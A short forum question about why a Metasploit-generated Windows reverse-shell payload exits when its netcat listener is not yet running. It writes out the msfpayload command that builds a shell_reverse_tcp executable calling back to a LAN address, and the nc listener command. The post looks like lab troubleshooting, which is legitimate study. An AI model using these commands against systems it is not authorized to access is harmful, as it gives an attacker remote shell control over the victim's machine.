I am using Metasploit to generate a shell_reverse_tcp exploit using the following command:
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.171 x > exploit.exe
On listener side I am using netcat.
Everything is perfect and if I run the listener first(nc -l -p 4444) and open the exploit.exe after that. But If my listener is not running and I run the exploit.exe, it starts and exits immediately. So if I run the exploit.exe first and start the listener after, it doesn't work. I've also tried ReverseConnectRetries but this is not working either.
So what is the problem? Thanks for any answers.